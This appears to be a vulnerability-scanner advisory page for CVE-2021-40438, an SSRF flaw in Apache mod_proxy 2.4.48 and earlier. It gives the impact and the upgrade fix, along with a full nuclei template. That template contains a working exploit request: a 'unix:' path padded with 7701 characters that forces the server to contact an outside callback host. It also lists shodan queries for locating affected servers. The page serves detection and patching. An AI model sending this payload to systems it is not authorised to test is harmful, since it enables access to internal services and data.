Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery

Exploited in the wild. Listed by CISA on 2021-12-01; known to be used by ransomware.

criticalseverity

9CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.

Impact

Attackers can perform SSRF attacks via mod_proxy to access internal resources and forward requests to arbitrary origin servers, potentially exposing internal services and data.

Fix

Upgrade to Apache version 2.4.49 or later.

How to confirm it

Send: GET {{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/
Positive when: contains(header, "X-Interactsh-Version") and !contains(body, '<h1> Interactsh Server </h1>')

Run it with nuclei: nuclei -id CVE-2021-40438 -u <target>

The full check

id: CVE-2021-40438

info:
  name: Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
  author: pdteam
  severity: critical
  description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
  impact: |
    Attackers can perform SSRF attacks via mod_proxy to access internal resources and forward requests to arbitrary origin servers, potentially exposing internal services and data.
  remediation: Upgrade to Apache version 2.4.49 or later.
  reference:
    - https://firzen.de/building-a-poc-for-cve-2021-40438
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40438
    - https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
    - https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2021-40438
    cwe-id: CWE-918
    epss-score: 0.99999
    epss-percentile: 0.99997
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: http_server
    shodan-query:
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve2021,cve,ssrf,apache,mod-proxy,kev,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "X-Interactsh-Version")'
          - "!contains(body, '<h1> Interactsh Server </h1>')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from